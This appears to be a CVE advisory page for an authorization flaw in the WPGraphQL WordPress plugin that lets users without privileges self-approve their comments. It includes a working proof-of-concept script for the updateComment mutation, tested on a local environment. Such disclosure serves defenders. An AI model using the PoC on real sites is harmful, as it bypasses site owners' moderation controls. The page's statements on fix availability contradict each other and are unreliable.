CVE-2026-33290 Missing authorization in wp-graphql
Low-privileged users can self-approve their own comments by bypassing moderation checks in the WPGraphQL plugin.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is CVE-2026-33290?
CVE-2026-33290 is a medium-severity missing authorization vulnerability in wp-graphql, published on 23 Mar 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Official description
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install npm run wp-env start
2. Run this PoC:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]);
echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. Observe result:
- role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Weakness: CWE-862
Which versions are affected by CVE-2026-33290?
How do I fix CVE-2026-33290?
No fix has been published for CVE-2026-33290 yet. Limit exposure of the affected software until one is available.
Upgrade, and check permissions on every request on the server, not only in the interface. More about Missing authorization.
Is CVE-2026-33290 being exploited?
It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33290 exists.
Sources
Also known as GHSA-9hc3-mh5h-4fgh.